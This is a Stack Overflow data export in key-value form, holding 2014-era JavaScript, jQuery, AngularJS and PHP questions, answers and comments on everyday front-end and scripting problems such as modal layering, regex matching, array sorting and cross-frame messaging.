has body: The following image shows how the modal html (which is a top-level node in the body) is being pushed to the bottom of all the other html, rather than sitting on top as it should. I haven't modified any CSS (straight Bootstrap). Any ideas/experience that might explain this behavior?
has title: Bootstrap modal dialog pushed below all other html
tagged with: angularjs
answer count: 0
tagged with: twitter-bootstrap
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39904969
has comment: http://stackoverflow.com/comment/39910747
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/39904817
score: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/39904902

http://stackoverflow.com/a/25581737
downvote count: 0
answers question: http://stackoverflow.com/q/25581644
type: Answer
has body: You can try this: $("select").on("change", function(){ var selectVal = $(this).val(); $("select").not($(this)).find("option[value="+ selectVal +"]").remove(); }); fiddle
score: 3
upvote count: 3

http://stackoverflow.com/comment/39988901
score: 0
type: Comment
has text: What is evt? Is that a javascript word?
comment on: http://stackoverflow.com/a/25599893
type: AnswerComment

http://stackoverflow.com/a/25630766
type: Answer
has comment: http://stackoverflow.com/comment/40046599
has comment: http://stackoverflow.com/comment/40046654
answers question: http://stackoverflow.com/q/25630511
accepted answer of: http://stackoverflow.com/q/25630511
has body: in javascript: document.getElementsByName("id_ordre_transport"); represent all element(array of element) with name "id_ordre_transport". in a html page it may have many radio button. boutonRadio.length represent number of radio button with name "id_ordre_transport". for (var i = 0; i &lt; boutonRadio.length; i++) { if (boutonRadio[i].checked) { //alert(fichier_c); //alert(boutonRadio[i].value); //alert( "#monte"+boutonRadio[i].value); var monte = fichier_c+"#monte"+boutonRadio[i].value; } } above code loop through all element and checked if radio button is checked or unchecked using boutonRadio[i].checked if checked then it assign some value on monte variable Good and short answer (as a comment above) : length is a property of array. it measure the array length. ex: var a=[1,2,3] it means array "a" has length 3 – Mukund Kumar 18 hours ago
score: 0
type: AcceptedAnswer

http://stackoverflow.com/a/25573020
has body: is only the matter of finding the dom where you want to insert the the text. DEMO jsfiddle $().text();
score: 0
answers question: http://stackoverflow.com/q/25572882
type: Answer

http://stackoverflow.com/a/25606908
score: 0
answers question: http://stackoverflow.com/q/25605743
has body: Try this: window.onbeforeunload = function(e){ //call logout process here } onbeforeunload is an event that fires when a window is about to unload its resources. The document is still visible and the event is still cancelable, in other words, whenever you refresh or close a page it fires an event 'onbeforeunload'. When this event returns a non-void value, the user is prompted to confirm the page unload. In most browsers, the return value of the event is displayed in this dialog. Reference: https://developer.mozilla.org/en-US/docs/WindowEventHandlers.onbeforeunload
type: Answer

http://stackoverflow.com/comment/39965392
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25587274
has text: To "change the language without reloading" means you'd need to load all available languages in one page, then display the one the user chooses. Otherwise, you must get the new content somehow.

http://stackoverflow.com/a/25633209
has comment: http://stackoverflow.com/comment/40049952
score: 3
accepted answer of: http://stackoverflow.com/q/25633163
has body: When passing primitives, like a string or a number, it's passed by value. What you're expecting is for it to be passed by reference. The fix would be to set something to the return value of changeSomethingsValue function changeSomethingsValue (thingToChange) { thingToChange = "something else"; return thingToChange; } var something = "something"; something = changeSomethingsValue(something); console.log(something); // prints out "something"
has comment: http://stackoverflow.com/comment/40049880
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40049825
has comment: http://stackoverflow.com/comment/40049873
type: Answer
upvote count: 3
answers question: http://stackoverflow.com/q/25633163
has comment: http://stackoverflow.com/comment/40050521

http://stackoverflow.com/q/25670381
has comment: http://stackoverflow.com/comment/40116642
has comment: http://stackoverflow.com/comment/40116664
has title: jQuery script not working with pre populated Array
has answer: http://stackoverflow.com/a/25670788
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25681728
type: Question
has comment: http://stackoverflow.com/comment/40116433
tagged with: arrays
has body: I hope I am not repeating an existing question, I have tried really hard to find what I need on the site, but now feel I need to ask the question, so here goes, I hope you guys can help me out :s I have an array; var 1Results = somecontent; var 2Results = somecontent; var 3Results = somecontent; var 4Results = somecontent; var nomResults = 1Results + 2Results + 3Results + 4Results; I have a script that is supposed to weed out the duplicate numbers and display them (in sorted_arr); var arr = nomResults; var sorted_arr = arr.sort(); // You can define the comparing function here. // JS by default uses a crappy string compare. var results = []; for (var i = 0; i &lt; arr.length - 1; i++) { if (sorted_arr[i + 1] == sorted_arr[i]) { results.push(sorted_arr[i]); } } This script doesn't work, however is I change the script to this; var arr = [9, 9, 111, 2, 3, 4, 4, 5, 7]; var sorted_arr = arr.sort(); // You can define the comparing function here. // JS by default uses a crappy string compare. var results = []; for (var i = 0; i &lt; arr.length - 1; i++) { if (sorted_arr[i + 1] == sorted_arr[i]) { results.push(sorted_arr[i]); } } It works fine, any ideas why .sort() won't work with my pre popluated array? Any help would be greatly appreciated.
has answer: http://stackoverflow.com/a/25670784
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40116495
score: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/25670784
accepted answer: http://stackoverflow.com/a/25670788

http://stackoverflow.com/a/25676814
type: Answer
answers question: http://stackoverflow.com/q/25653915
upvote count: 2
has body: After some trouble shooting I was able to figure out what was causing the problem with the tab content not displaying properly. When using Angular with the Foundation framework port you can only use the css and not the sass as soon as I removed the sass imports everything displayed properly. I initially thought this issue was being caused by the onload in the ng-include but after reading the documentation on Angular Foundation I realized that the sass option was not yet supported just the css option. Plunker example Static content {{tab.content}}
score: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25653915

http://stackoverflow.com/comment/40171801
score: 0
has text: Thanks for all replies, marking first answer as correct... many thanks all
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25700329

http://stackoverflow.com/q/25589600
has title: Match backwards from a given word with javascript
has answer: http://stackoverflow.com/a/25589646
has comment: http://stackoverflow.com/comment/39969666
tagged with: javascript
has comment: http://stackoverflow.com/comment/39969624
answer count: 2
upvote count: 1
tagged with: string
favorite count: 0
has comment: http://stackoverflow.com/comment/39969649
tagged with: regex
has body: Using Javascript, I need to find an occurrence of a phrase in some text then match everything from it back to the last occurrence of a 5 digit number. (or at least thats the best way I know how to describe what I need) Consider the following text: 24854 Random words Ending Words 34975 Random words Ending Words 47593 Random words Ending Words Target Word 32302 Random words Ending Words Given the above, I'd like my regex to match Every thing from 47593 to Target Word. Each match should include both 47593 and Target Word It needs to be greedy in that there will be multiple matches in my actual text and I need them all returned in an array. This is what I've tried: .match(/[0-9]{5}[\s\S]+?Target Word/g) My problem (as always with these) is the new lines. In order to match across multiple lines, I'm using [\s\S] but doing so makes the regex match everything from the first 5 digit number to the first occurrence of Target Word How can I change this to achieve the desired result? I'm thinking I need to use lookbehind but most examples I've found have been very confusing for me.
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25589654
downvote count: 0
has answer: http://stackoverflow.com/a/25589654
accepted answer: http://stackoverflow.com/a/25589646
score: 1
has comment: http://stackoverflow.com/comment/39969658
has comment: http://stackoverflow.com/comment/39969642
type: Question

http://stackoverflow.com/comment/39939162
has text: What I don't understand is why I cannot define my own custom core router that extends from Backbone - well maybe its not a case of cant, its more of a case of - why is this extension an issue?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25572443
type: Comment

http://stackoverflow.com/q/25574620
answer count: 1
downvote count: 0
favorite count: 0
has title: It is possible use links that will choose a route inside of a ng-view
tagged with: angularjs
has answer: http://stackoverflow.com/a/25590444
accepted answer: http://stackoverflow.com/a/25590444
has body: All samples of ng-view directive shows that it must being used like follows I think a little while taking a shower and the doubt below comes to play with the need of lazily load all content with help of resolves in ng-view plus ng-switch and ng-include. Something new, without an AMD solution to templating like requirejs!text plugin and angularjs providers. The idea is change the subview thru the links inside of ngView. The view template will being something like that: Item Profile status View1 And the index.html will looks like: </ngview> And the route configuration: angular.module('app', ['ngRoute']).config([ '$routeProvider', function (rp){ rp.when('/:view/:subView', { template: 'view.html', controller: [ '$scope', '$route', function (s, r) { s.subView = r.params.subView; s.view = r.params.view; } ] }); } ]); But for some reason this does not work, follow the code on plunkr
type: AnsweredQuestion
score: 1
type: Question
tagged with: javascript
upvote count: 1

http://stackoverflow.com/q/25576240
has answer: http://stackoverflow.com/a/25632184
tagged with: javascript
has comment: http://stackoverflow.com/comment/40042624
score: 0
has comment: http://stackoverflow.com/comment/39954811
answer count: 1
tagged with: intern
accepted answer: http://stackoverflow.com/a/25632184
has comment: http://stackoverflow.com/comment/39980373
type: AnsweredQuestion
has title: Leadfoot bypass IE certificate warning
tagged with: selenium
has body: I'm trying to execute javascript in the browser of the client on which my intern/selenium/leadfoot tests are running. Specifically, I'm trying to bypass IE8 &amp; 9 certificate warning. Previously, using selenium-python bindings I could use this code to run on all browsers, passing the warning if it occurred: if "Certificate" in driver.title: driver.get("javascript:document.getElementById('overridelink').click();") Now using leadfoot, I've tried many combinations of the following: .get(require.toUrl('https://secure-url.com') .execute("document.getElementById('overridelink').click();") // OR .get("javascript:document.getElementById('overridelink').click();") But cannot get this javascript to execute on the client. Has anyone had success with this? .execute('alert("hello");') works fine on other pages, but not this page. It's as if leadfoot is not able to run JS in this security page, but selenium api is? Eventually it fails with the error: JavaScriptError: [POST http://localhost:4444/wd/hub/session/1fa8a4a3-8774-46af-ad87-0e8fbc5a1388/execute / {"script":"document.getElementById('overridelink').click();","args":[]}] JavaScript error (WARNING: The server did not provide any stacktrace information) Command duration or timeout: 30 milliseconds Build info: version: '2.42.2', revision: '6a6995d', time: '2014-06-03 17:42:03' System info: host: 'IE9Win7', ip: '169.254.0.207', os.name: 'Windows 7', os.arch: 'x86', os.version: '6.1', java.version: '1.7.0_67' Session ID: 8b20796a-1d40-48ad-82e1-25ce16a40f17 Driver info: org.openqa.selenium.ie.InternetExplorerDriver Capabilities [{platform=WINDOWS, javascriptEnabled=true, elementScrollBehavior=0, ignoreZoomSetting=false, enablePersistentHover=true, ie.ensureCleanSession=false, browserName=internet explorer, enableElementCacheCleanup=true, unexpectedAlertBehaviour=dismiss, version=9, ie.usePerProcessProxy=false, cssSelectorsEnabled=true, ignoreProtectedModeSettings=false, requireWindowFocus=false, handlesAlerts=true, initialBrow…
has comment: http://stackoverflow.com/comment/39981556
type: Question
tagged with: internet-explorer

http://stackoverflow.com/q/25693368
has comment: http://stackoverflow.com/comment/40158903
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25693596
accepted answer: http://stackoverflow.com/a/25693596
has title: How is this JavaScript pattern called and how do I use it in the right way?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40159247
type: Question
has body: I have taken over an existing project which uses JavaScript in the following way. I would like to understand how/why this is done and get some more information on how to use it efficiently. Is there a name for this pattern so I can do some more research? index.html (before &lt;/body&gt;) &lt;script src="main.js"&gt;&lt;/script&gt; &lt;script src="navigation.js"&gt;&lt;/script&gt; &lt;script&gt; var navigation = new window.Navigation(); window.App.navigation = navigation; window.App.navigation.init(this); &lt;/script&gt; main.js (shortened...) App = {}; $(document).ready(function(){ console.log('doc ready'); }); navigation.js (shortened...) window.Navigation = (function () { return function () { return { scope: undefined, someElement:undefined, init: function (pScope) { this.scope = pScope; this.someElement = $(this.scope.querySelectorAll('.some-element')); this.someMethod(); }, someMethod: function() { // some jQuery if($(this).hasClass('some-class')) { self.anotherMethod(); } }, anotherMethod: function() { // some jQuery $(this.someElement).show(); this.yetAnotherMethod(); }, yetAnotherMethod: function() { // some jQuery $(this.someElement).stop().animate({duration:200}); } }; }; }()); Besides understanding what this pattern is and why one would use it, I have a practical question: The navigation.js controller is responsible for our element .navigation. Right now, if there is more than one .navigation, interacting with one .navigation element causes all .navigation elements to react to interaction. How can I fire the controller to controll each .navigation element for itself? (I hope my vocabulary is correct here) It works if I call the controller (inside index.html) in the following way with jQuery, but it doesn't feel right: $('.navigation').each(function() { var navigation = new window.Navigation(); window.App.navigation = navigation; window.App.navigation.init(this); });
has comment: http://stackoverflow.com/comment/40159107
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/39942572
has text: isn't "A" duplicated here?
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25574509
type: AnswerComment

http://stackoverflow.com/q/25711070
has comment: http://stackoverflow.com/comment/40190769
type: AnsweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/40191173
tagged with: javascript
has answer: http://stackoverflow.com/a/25711391
has title: How to edit my code to save the same value of the domain.com to www.domain.com?
score: 0
accepted answer: http://stackoverflow.com/a/25711391
answer count: 1
has comment: http://stackoverflow.com/comment/40191234
has comment: http://stackoverflow.com/comment/40190826
has comment: http://stackoverflow.com/comment/40190886
linked to: http://stackoverflow.com/q/4026479
has body: What I have below is a script that passes a variable from the crossvalue.html to an iframe crossvaluePOST.html and creates a localstorage to the (without www) domain.com My question is how can I create the same localstorage value for the www.domain.com when domain.com/crossvalue.html (without www) runs? this is crossvalue.html &lt;iframe id="da-iframe" src="crossvaluePOST.html"&gt;&lt;/iframe&gt; &lt;script&gt; window.onload = function () { var iframeWin = document.getElementById("da-iframe").contentWindow; myMessage= Math.floor(Math.random()*801); iframeWin.postMessage(myMessage, "http://domain.com"); return false; }; &lt;/script&gt; and this is the crossvaluePOST.html &lt;script&gt; function displayMessage (evt) { var message; if (evt.origin !== "http://domain.com") { message = "You are not worthy"; } else { localStorage['abc'] = evt.data; } } if (window.addEventListener) { // For standards-compliant web browsers window.addEventListener("message", displayMessage, false); } else { window.attachEvent("onmessage", displayMessage); } &lt;/script&gt;
has comment: http://stackoverflow.com/comment/40190917
has comment: http://stackoverflow.com/comment/40190902

http://stackoverflow.com/a/25586411
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/39966389
answers question: http://stackoverflow.com/q/25586082
has body: I'm Just modifying your code . take data in label control , like this long : &lt;asp:Label ID="lblLongitude" runat="server" Text='&lt;%#Eval("Longitude") %&gt;'&gt;&lt;/asp:Label&gt;&lt;br /&gt; lat : &lt;asp:Label ID="lblLatitude" runat="server" Text='&lt;%#Eval("Latitude") %&gt;'&gt;&lt;/asp:Label&gt;&lt;br /&gt; then get all data in Js $(document).ready(function () { var Longitude= []; var Latitude= []; $('*[id^=rptMarkers_lblLongitude]').each(function () { Longitude.push($(this).html()); }); $('*[id^=rptMarkers_lblLatitude]').each(function () { Latitude.push($(this).html()); }); });
score: 0
upvote count: 1

http://stackoverflow.com/a/50430297
type: Answer
has body: For Bug #1, you can use the back camera by specifying it in a constraint object when calling getUserMedia navigator.mediaDevices.getUserMedia({ audio: true, video: { facingMode: { exact: "environment" } } }) See details here: https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia Search for "rear camera"
score: 0
answers question: http://stackoverflow.com/q/25645385

philips-hue
tag name: philips-hue
type: Tag
tags question: http://stackoverflow.com/q/25589562

http://stackoverflow.com/comment/39955414
type: AnswerComment
has text: check it here http://codepen.io/anon/pen/yGcxr I have added jquery library in html section
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25581033

http://stackoverflow.com/q/25670733
tagged with: browser
score: 0
has comment: http://stackoverflow.com/comment/40117058
tagged with: javascript
has comment: http://stackoverflow.com/comment/40117337
answer count: 0
type: UnansweredQuestion
has body: I have a web page which i don't own so not aware of the code. Now i have a cross button clicking on which is actually closing the web page. But its not calling window.close directly. Now i want to put breakpoint in window.close such that i can capture the stack. Is it possible to put breakpoint in java script code of HTML's DOM like window.close ? I am using Chrome. I do see DOM breakpoints, is it the same thing which i am talking about ? cheers, Saurav
has title: Setting breakpoints for Window object in browser (chrome)
tagged with: dom
type: Question

http://stackoverflow.com/a/25668686
has comment: http://stackoverflow.com/comment/40113743
has comment: http://stackoverflow.com/comment/40113464
has comment: http://stackoverflow.com/comment/40113445
has comment: http://stackoverflow.com/comment/40113636
has body: Use: $('.xyz').each(function(i){ $(this).html($(this).html()+" word"+(i+1));//or $(this).text($(this).text()+" word"+(i+1)); }); Working Demo
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25668637
upvote count: 2
type: Answer

http://stackoverflow.com/q/25688548
downvote count: 0
type: Question
accepted answer: http://stackoverflow.com/a/25688711
tagged with: indexof
has comment: http://stackoverflow.com/comment/40149163
tagged with: javascript
has title: SyntaxError: Illegal return statement - searching for string in url
upvote count: 2
has answer: http://stackoverflow.com/a/25688711
has comment: http://stackoverflow.com/comment/40149170
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40149202
has body: I'm just in the console in Chrome for now. I created this variable: url = window.location.href which gives: url "http://www.example.com/trips/dest/australia-and-south-pacific/cntry/fiji/" Now I tried this: if (url.indexOf('australia-and-south-pacific') &gt; 0) {return 'foo';} Which returned: SyntaxError: Illegal return statement I expected the console to return 'foo'. Why is this happening? I noticed that after receiving this error, give it afew seconds and a new error appears: Uncaught TypeError: Cannot read property 'hide' of undefined If that helps to diagnose?
score: 2
type: AnsweredQuestion

http://stackoverflow.com/a/25570763
accepted answer of: http://stackoverflow.com/q/25570628
has body: First, add the follow line, to begin of your PHP File error_reporting(E_ALL); Now, change the next line: $usuarios = fopen("usuarios.txt", "a"); To: $usuarios = fopen("usuarios.txt", "a+"); The a+ will create a file if not exists. And, verify if the file is opened. $usuarios = fopen("usuarios.txt", "a+"); if (!$usuarios) { die("Could not open file"); } else { fwrite($usuarios, $rut); fwrite($usuarios,$dv,";"); fwrite($usuarios,$pnom,";"); fwrite($usuarios,$snom,";"); fwrite($usuarios,$pape,";"); fwrite($usuarios,$mape,";"); fwrite($usuarios,$sex,";"); fwrite($usuarios,$dir,";"); fwrite($usuarios,$comu,";"); fwrite($usuarios,$pais,";"); fwrite($usuarios,$fono,";"); fwrite($usuarios,$movil,";"); fwrite($usuarios,$mail,";"); fwrite($usuarios,$user,";"); fwrite($usuarios,$pass,";"); fwrite($usuarios,$rpas,"\r\n"); fclose($usuarios); } Now, everything will work as expected.
answers question: http://stackoverflow.com/q/25570628
has comment: http://stackoverflow.com/comment/39935597
score: 0
has comment: http://stackoverflow.com/comment/39938652
has comment: http://stackoverflow.com/comment/39937489
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/39935246

http://stackoverflow.com/a/25572705
has body: This may work properly $('.belovedanchor').click(function() { var selectedancor = $(this); var myurl = $(this).attr('href'); $.get(myurl, function() { selectedanchor.hide(); }); });
type: Answer
has comment: http://stackoverflow.com/comment/39938999
answers question: http://stackoverflow.com/q/25572681
has comment: http://stackoverflow.com/comment/39938873
score: 0
has comment: http://stackoverflow.com/comment/39938671

http://stackoverflow.com/q/25690436
has answer: http://stackoverflow.com/a/25690597
linked to: http://stackoverflow.com/q/6336641
favorite count: 0
has comment: http://stackoverflow.com/comment/40153479
has comment: http://stackoverflow.com/comment/40152896
duplicate of: http://stackoverflow.com/q/6336641
possible better answer: http://stackoverflow.com/a/25690597
tagged with: web
has title: how m.facebook.com is able to run native mobile actions like camera and gallery ?
has comment: http://stackoverflow.com/comment/40152950
upvote count: 2
has answer: http://stackoverflow.com/a/25690602
downvote count: 1
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40153185
has comment: http://stackoverflow.com/comment/40153089
has body: when I visit https://m.facebook.com/ I can upload a picture from gallery , or take picture from camera. How it is possible that a website is able to run native actions ?
type: Question
has comment: http://stackoverflow.com/comment/40153069
tagged with: native
answer count: 2
tagged with: mobile
accepted answer: http://stackoverflow.com/a/25690602
tagged with: javascript

http://stackoverflow.com/q/25592175
has answer: http://stackoverflow.com/a/25592229
has title: jQuery lazyload plugin apply effect on loaded images
tagged with: javascript
upvote count: 1
answer count: 1
has body: I have a website with tons of images, so I created infinite scroll with ajax, and also I'm using lazyload plugin: http://www.appelsiini.net/projects/lazyload My problem is: I want to use fadeIn effect for loading images, this is fine when I load first set of images, but when I click on "Load more", fadeIn effect is applied to those images which are already visible and to those which are currently loading. So those images which are already loaded dissapear and appear with fadeIn effect. How to apply fadeIn effect only to images which are currently loading? This is how I load images: $(".loadMore").click(function(){ ... some validation $.ajax({ type: "POST", url: "/loadMore/"+option+"/"+posts, dataType: "json", beforeSend: function(){ t.html(lang.loading); }, success: function(data){ t.html(lang.loadMore); for(var i in data.posts.id){ append(data.posts.id[i], data.posts.countComments[i], data.posts.image[i], data.posts.title[i], data.posts.link[i], data.posts.username[i], data.posts.date[i], data.posts.new_tab[i], data.posts.is_saved[i], false); } if(data.msg == "stop"){ t.hide(); } $("img.lazy").lazyload({skip_invisible : false,failure_limit : 15, effect: "fadeIn"}); } }); });
tagged with: jquery
favorite count: 0
type: AnsweredQuestion
downvote count: 0
score: 1
accepted answer: http://stackoverflow.com/a/25592229
tagged with: jquery-lazyload
linked to: http://stackoverflow.com/q/10035985
type: Question

http://stackoverflow.com/a/25699084
answers question: http://stackoverflow.com/q/25697692
has comment: http://stackoverflow.com/comment/40174078
has comment: http://stackoverflow.com/comment/40169531
accepted answer of: http://stackoverflow.com/q/25697692
has comment: http://stackoverflow.com/comment/40173882
downvote count: 0
has comment: http://stackoverflow.com/comment/40173867
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/40169523
upvote count: 1
has comment: http://stackoverflow.com/comment/40174029
has body: The endpoint you call should look like /{org}/{app}/{collection}/{entity uuid} with the Accept: image/jpg header. Also if you look in the BaaS GUI, you should see the entity there with the file details and content length. Since it's still not working, here's a CURL command that will properly upload the asset: curl -X POST -i -F name='image' -F file=@"/path/to/image.jpg" 'https://api.usergrid.com/{org}/{app}/{collection}/{uuid}' You could try POSTing both this CURL and your Node method against requestbin and compare the results?
has comment: http://stackoverflow.com/comment/40169550
score: 1

http://stackoverflow.com/a/25644370
answers question: http://stackoverflow.com/q/25643927
downvote count: 0
has body: If I am correct with "hyphen" you mean "minus" symbol here, i.e you want to convert a signed number as unsigned one. Here is a straight forward solution to your problem :- Just use: Math.abs(extraDivs); This will take care of your problem and will give you the positive number as result. Here is the code you need to write: if (extraDivs &lt;= -1) { $('.title a').html('Add ' + Math.abs(extraDivs)); } else{ //your code } Hope this would help you!
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/comment/40212873
score: 0
type: AnswerComment
has text: If you don't see an alert when submitting that form, something is really wrong and/or I fail at JavaScript. Notice that I added one `input` element to the form. This way, you can always see that at least something is being posted with the form :)
type: Comment
comment on: http://stackoverflow.com/a/25718045

http://stackoverflow.com/a/25594638
has body: You can steal the function's symbol, like this: var b = a; // &lt;== Takes the original `a` and remembers it as `b` a = function() { // &lt;== Assigns a new function to `a` var rv = b(); // &lt;== Calls what used to be `a`, remembers its return value console.log("hi"); return rv; // &lt;== Returns what the old function returned }; Of course, if you don't need the return value thing, you can leave it out, but if you're pretending to be the old function, probably best to return what it returns. If you need to pass along arguments to it and just want to pass all of the arguments your new function receives, you can do that with Function#apply and the special arguments pseudo-array: var b = a; a = function() { var rv = b.apply(this, arguments); // Calls the original `a` with the current // `this` and all the args we were given console.log("hi"); return rv; };
type: Answer
upvote count: 3
score: 3
accepted answer of: http://stackoverflow.com/q/25594584
answers question: http://stackoverflow.com/q/25594584
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25679024
has answer: http://stackoverflow.com/a/25680650
accepted answer: http://stackoverflow.com/a/25680650
has comment: http://stackoverflow.com/comment/40133648
tagged with: iphone
upvote count: 1
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40147015
has title: Can you prevent iPhone from using native select menu?
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has body: I have a select menu that has some very long options in it. When viewing the form on the iPhone it uses the native select menu, which cuts off the text of each option. Is there a way to prevent the iPhone from using the native select menu? I looked into jQuery mobile, but I've built the site on Bootstrap, and they don't play well together. I tried just implementing the form portion of jQuery mobile, but it still caused all sorts of conflicts, so I abandoned that path. Is there a solution for this problem? Thank you!
type: AnsweredQuestion
tagged with: twitter-bootstrap
type: Question
has comment: http://stackoverflow.com/comment/40132198
has comment: http://stackoverflow.com/comment/64458187
score: 1

http://stackoverflow.com/q/25619080
has body: OK, I have a JavaScript created section on a page and I want to return a summary only not the entire text. i.e. first 50 whole words and as ive mentioned before, JavaScript isnt my thing but it has to be JS not Jquery. I have written the script but it returns unexpected results so would be grateful if someone could take a look and point out where Im going wrong. My code: var ap = document.createElement("P"); var stext = value[i].Summary.split(" ", 50) ap.appendChild(document.createTextNode(stext)); ar.appendChild(ap); Which returns: Lorem,ipsum,dolor,sit,amet,,consectetur,adipisicing,elit,,sed,do,eiusmod ,tempor,incididunt,ut,labore,et,dolore,magna,aliqua.,Ut,enim,ad,minim, veniam,,quis,nostrud,exercitation,ullamco,laboris,nisi,ut,aliquip,ex,ea, commodo,consequat.,Duis,aute,irure,dolor,in,reprehenderit,in,voluptate, velit,esse,cillum,dolore,eu,fugiat What I want to return is: Lorem ipsum dolor sit amet consectetur adipisicing elit sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40024160
has answer: http://stackoverflow.com/a/25619366
accepted answer: http://stackoverflow.com/a/25619366
downvote count: 0
score: 1
has title: javascript split string on a space and return first 50 words as a sentence/paragraph
has comment: http://stackoverflow.com/comment/40023529
type: Question
tagged with: javascript
upvote count: 1
has comment: http://stackoverflow.com/comment/40023523
answer count: 1
favorite count: 0

http://stackoverflow.com/a/40450922
answers question: http://stackoverflow.com/q/25692494
type: Answer
downvote count: 0
score: 1
upvote count: 1
has body: There is a github project called socket.io-p2p which comes with a demo chat application that starts out brokered by a server but then switches to WebRTC. The current link is https://github.com/socketio/socket.io-p2p . That seems unlikely to disappear any time soon, but, in case it does at some future point, you should be able to find a clone/fork somewhere by knowing the socket.io-p2p name. (It's under the MIT license.)

http://stackoverflow.com/comment/40013486
comment on: http://stackoverflow.com/q/25613614
type: Comment
score: 0
has text: You can use the great Lodash library: http://lodash.com/docs#find
type: QuestionComment

http://stackoverflow.com/tag/svg
tags question: http://stackoverflow.com/q/25654621
tags question: http://stackoverflow.com/q/25602596
tags question: http://stackoverflow.com/q/25689678
tags question: http://stackoverflow.com/q/25675425
tags question: http://stackoverflow.com/q/25652532
tags question: http://stackoverflow.com/q/25648745
tags question: http://stackoverflow.com/q/25631577
tags question: http://stackoverflow.com/q/25614158
tags question: http://stackoverflow.com/q/25632867
tags question: http://stackoverflow.com/q/25639797
tags question: http://stackoverflow.com/q/25670263
tags question: http://stackoverflow.com/q/25678159
tags question: http://stackoverflow.com/q/25572379
tags question: http://stackoverflow.com/q/25555257
tags question: http://stackoverflow.com/q/25664858
tags question: http://stackoverflow.com/q/25587591
tags question: http://stackoverflow.com/q/25685886
tags question: http://stackoverflow.com/q/25566109
tag name: svg
tags question: http://stackoverflow.com/q/25691253
tags question: http://stackoverflow.com/q/25686940
tags question: http://stackoverflow.com/q/25666922
tags question: http://stackoverflow.com/q/25697348
tags question: http://stackoverflow.com/q/25656493
tags question: http://stackoverflow.com/q/25623231
tags question: http://stackoverflow.com/q/25620544
tags question: http://stackoverflow.com/q/25647301
tags question: http://stackoverflow.com/q/25600803
tags question: http://stackoverflow.com/q/25655372
tags question: http://stackoverflow.com/q/25585061
tags question: http://stackoverflow.com/q/25674933
tags question: http://stackoverflow.com/q/25651764
tags question: http://stackoverflow.com/q/25568231
tags question: http://stackoverflow.com/q/25620989
tags question: http://stackoverflow.com/q/25693523
tags question: http://stackoverflow.com/q/25563868
tags question: http://stackoverflow.com/q/25683015
tags question: http://stackoverflow.com/q/25667350
tags question: http://stackoverflow.com/q/25661571
tags question: http://stackoverflow.com/q/25602881
tags question: http://stackoverflow.com/q/25654520
tags question: http://stackoverflow.com/q/25615698
tags question: http://stackoverflow.com/q/25610637
type: Tag

http://stackoverflow.com/comment/40112853
comment on: http://stackoverflow.com/q/25668354
has text: This is a wont-fix from a couple of years ago - http://bugs.jquery.com/ticket/11485 I dunno if they've changed their opinion on it, but this has happened for quite a while.
score: 2
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25687484
type: AnsweredQuestion
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/25687591
has body: I have a first page "main.php" with a button opening a pop-up "pop.php" with a form where i can check different options. After choosing the different option and when pressing "ok", is it possible with js or jquery to pass the result of the "pop.php" form to a field in "main.php" without reloading it? Thanks for your answers!
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25687872
accepted answer: http://stackoverflow.com/a/25687872
answer count: 2
upvote count: 1
tagged with: jquery
favorite count: 0
has title: passing variable from a page to an already opened page with js or jquery
tagged with: php
possible better answer: http://stackoverflow.com/a/25687591

http://stackoverflow.com/q/25587621
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/510779
has answer: http://stackoverflow.com/a/25589318
upvote count: 3
has comment: http://stackoverflow.com/comment/39966133
linked to: http://stackoverflow.com/q/5791279
has comment: http://stackoverflow.com/comment/39966002
has comment: http://stackoverflow.com/comment/39966965
type: Question
has comment: http://stackoverflow.com/comment/39966148
score: 3
has title: How to check if ajax response is javascript content type?
tagged with: javascript
linked to: http://stackoverflow.com/q/2158075
accepted answer: http://stackoverflow.com/a/25589318
has comment: http://stackoverflow.com/comment/39968695
linked to: http://stackoverflow.com/q/477816
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/39968366
has comment: http://stackoverflow.com/comment/39966195
tagged with: jquery
favorite count: 0
tagged with: ajax
